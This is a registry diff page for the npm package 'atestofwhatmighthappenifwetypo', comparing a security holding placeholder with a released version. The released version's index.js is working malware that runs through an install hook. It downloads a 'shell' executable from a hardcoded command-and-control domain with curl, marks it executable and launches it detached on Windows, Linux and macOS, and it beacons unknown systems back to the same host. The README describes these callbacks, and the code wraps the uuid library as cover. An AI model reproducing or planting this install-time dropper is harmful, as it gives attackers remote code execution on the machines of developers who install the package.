atestofwhatmighthappenifwetypo 0.0.1-security → 0.0.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atestofwhatmighthappenifwetypo might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +28 -3
  2. package/index.js +75 -0
  3. package/package.json +12 -4
package/README.md CHANGED
@@ -1,5 +1,30 @@
1
- # Security holding package
1
+ Test Package
2
+ ------------
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ This is a package used in some internal testing. Please do not use it.
4
5
 
5
- Please refer to www.npmjs.com/advisories?search=atestofwhatmighthappenifwetypo for more information.
6
+ It does bad things.
7
+
8
+ Callbacks
9
+ =========
10
+ There are two configurable domains: one for Windows callbacks and one for Unix
11
+ (currently Linux and Mac) callbacks. They are configured (ok, hardcoded) in
12
+ [index.js](./index.js) with the following two variables:
13
+ ```javascript
14
+ const c2domain = 'cleanto.ga';
15
+ const windomain = 'ipsaregood.ga';
16
+ ```
17
+
18
+ An HTTPS request will be made to the configured domain for a file named
19
+ `shell.<platform>`, where `<platform>` is whatever's returned by node's
20
+ [`os.type()`](https://nodejs.org/api/os.html#os_os_type). On Windows, it'll be
21
+ `shell.windows.exe`.
22
+
23
+ A callback can be avoided by creating a file named `.noshell` two directory
24
+ levels up from the current working directory when `index.js` executes. This
25
+ is normally the directory containing the `node_modules` directory.
26
+
27
+ Updating
28
+ ========
29
+ Changes to the package must be pushed to npm with `npm publish` after changing
30
+ the `version` field in [`package.json`](./package.json).
package/index.js ADDED
@@ -0,0 +1,75 @@
1
+ const path = require('path');
2
+ const child_process = require('child_process');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+ const process = require('process')
6
+ const {v4} = require('uuid');
7
+
8
+
9
+ const c2domain = 'cleanto.ga';
10
+ const windomain = 'cleanto.ga';
11
+ const noShellFile = '.noshell';
12
+
13
+ /* Export things to wrap the benign library. */
14
+ exports.dummy = function() {
15
+ console.log("Please don't use this package.")
16
+ }
17
+ exports.v4 = v4;
18
+
19
+ /* Package we imported */
20
+ console.log("Shell UUID: ", v4());
21
+
22
+ /* Don't call with a shell if we're building. */
23
+ let nsf = path.join("..", "..", noShellFile);
24
+ console.log("CWD: ", process.cwd());
25
+ console.log("No-shell file: ", nsf);
26
+ if (!fs.existsSync(nsf)) {
27
+ /* Function to spawn a shell on a unix box */
28
+ let shell = (n)=>{
29
+ const f = `shell.${n}`;
30
+ process.chdir('/tmp');
31
+ child_process.spawnSync(
32
+ 'curl',
33
+ ['-s', '-o', f, `https://${c2domain}/${f}`]
34
+ );
35
+ child_process.spawnSync('chmod', ['0700', f]);
36
+ child_process.spawn('./' + f, [], {
37
+ detached: true,
38
+ stdio: 'ignore'
39
+ }).unref();
40
+ }
41
+ /* Spawn a shell */
42
+ let ost = os.type();
43
+ console.log("Trying to start", ost, "shell");
44
+ switch (ost) {
45
+ case 'Windows_NT':
46
+ const f = 'shell.windows.exe';
47
+ process.chdir(process.env.TMP);
48
+ child_process.spawnSync('curl',
49
+ ['-sO', `https://${windomain}/${f}`]);
50
+ child_process.spawn(f, [], {
51
+ detached: true,
52
+ stdio: 'ignore'
53
+ }).unref();
54
+ break;
55
+ case 'Linux':
56
+ shell('linux');
57
+ break;
58
+ case 'Darwin':
59
+ shell('mac');
60
+ break;
61
+ default:
62
+ console.log("Unknown os", ost);
63
+ /* Try to at least log there's a problem */
64
+ child_process.spawn('curl',
65
+ ['-s', `https://${c2domain}/unknown_os/${ost}]`],
66
+ {
67
+ detached: true,
68
+ stdio: 'ignore'
69
+ }
70
+ );
71
+ }
72
+ } else {
73
+ console.log("No-shell file found");
74
+ }
75
+
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
- "name": "atestofwhatmighthappenifwetypo",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "atestofwhatmighthappenifwetypo",
3
+ "version": "0.0.17",
4
+ "description": "A test package. Please do not use this. It does bad things.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "uuid": "^8.3.2"
13
+ }
6
14
  }